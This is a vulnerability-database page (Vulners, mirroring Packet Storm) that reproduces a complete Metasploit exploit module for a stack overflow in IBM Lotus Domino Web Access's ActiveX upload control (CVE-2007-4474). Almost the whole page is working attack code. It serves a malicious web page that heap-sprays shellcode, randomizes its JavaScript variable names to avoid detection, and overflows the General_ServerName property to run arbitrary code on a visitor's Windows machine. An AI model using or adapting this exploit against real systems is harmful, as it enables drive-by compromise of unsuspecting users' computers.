Lucene search
K

IBM Lotus Domino Web Access Upload Module Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by Elazar BroadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

IBM Lotus Domino Web Access Upload Module Buffer Overflow exploi

Related
Code
`  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in IBM Lotus Domino Web Access Upload Module.   
By sending an overly long string to the "General_ServerName()" property located   
in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute   
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-4474' ],  
[ 'OSVDB', '40954' ],  
[ 'BID', '26972' ],  
[ 'URL', 'http://milw0rm.com/exploits/4820' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ]   
],  
'DisclosureDate' => 'Dec 20 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape(make_nops(4))  
junk = Rex::Text.to_unescape(rand_text_alpha(2))  
ret = Rex::Text.to_unescape([target.ret].pack('V'))  
blocksize = 0x30000  
fillto = 400   
  
# Randomize the javascript variable names  
dwa7w = rand_text_alpha(rand(100) + 1)  
inotes6 = rand_text_alpha(rand(100) + 1)   
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_junk = rand_text_alpha(rand(100) + 1)  
  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{dwa7w}'></object>  
<object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object>  
<script language='javascript'>  
#{j_shellcode} = unescape('#{shellcode}');  
#{j_nops} = unescape('#{nops}');  
#{j_headersize} = 20;  
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length  
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};  
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});  
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});  
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};  
#{j_memory} = new Array();  
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};  
#{j_ret} = unescape('#{ret}');  
while (#{j_ret}.length < 450) #{j_ret} += #{j_ret};  
#{j_junk} = unescape('#{junk}');  
while (#{j_junk}.length < 2000) #{j_junk} += #{j_junk};  
try {  
#{dwa7w}.General_ServerName = #{j_junk} + #{j_ret};  
#{dwa7w}.InstallBrowserHelperDll();  
} catch(err) {}  
try {  
#{inotes6}.General_ServerName = #{j_junk} + #{j_ret};  
#{inotes6}.InstallBrowserHelperDll();  
} catch(err) {}  
</script>  
</html>  
|  
  
  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2009 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.44184
33